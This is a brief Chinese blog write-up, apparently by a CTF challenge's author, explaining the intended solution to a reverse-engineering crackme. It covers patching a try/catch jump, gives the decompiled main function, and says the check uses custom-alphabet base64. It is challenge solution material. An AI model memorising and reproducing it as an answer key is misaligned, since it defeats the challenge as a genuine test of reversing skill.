出急了没出好,可以直接看函数变表base64,原意是想考个最简单的try-catch

图片

图片

控制流可以看到是个简单的try之后是简单的catch

预期做法应该是将抛出异常的地方进行patch,jmp到catch块。

将0x4018AC的代码patch成jmp 0x4018DA然后F5就可以看到完整的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
  std::ostream *v3; // rax
  char *exception; // rax
  size_t v5; // rax
  std::ostream *v6; // rax
  std::ostream *v7; // rax
  char v9[48]; // [rsp+20h] [rbp-60h] BYREF
  char Str2; // [rsp+50h] [rbp-30h] BYREF
  char v11[44]; // [rsp+51h] [rbp-2Fh] BYREF
  char *Str1; // [rsp+80h] [rbp+0h]
  char *Str; // [rsp+88h] [rbp+8h]

  _main();
  v3 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "input something :");
  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v3);
  std::operator>><char,std::char_traits<char>>(refptr__ZSt3cin, v9);
  exception = (char *)_cxa_allocate_exception(8ui64);
  *(_QWORD *)exception = v9;
  Str = exception;
  Str2 = 0;
  qmemcpy(v11, "iAzDH4rJBdBFdAjnigLnH4jCdAfadXuTOTOTOA/ymda=", sizeof(v11));
  if ( strlen(exception) == 32 )
  {
    Str1 = (char *)bujijojodebuliduo(Str);
    v5 = strlen(&Str2);
    if ( !strncmp(Str1, &Str2, v5) )
      v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Goodgood!");
    else
      v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "nono");
    refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v6);
  }
  else
  {
    v7 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "nono");
    refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v7);
  }
  _cxa_end_catch();
  return 1;
}

然后bujijojodebuliduo就是加密函数,原本是想着最后全放到主函数里,给忘掉了哈哈,是个变表base64
图片


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !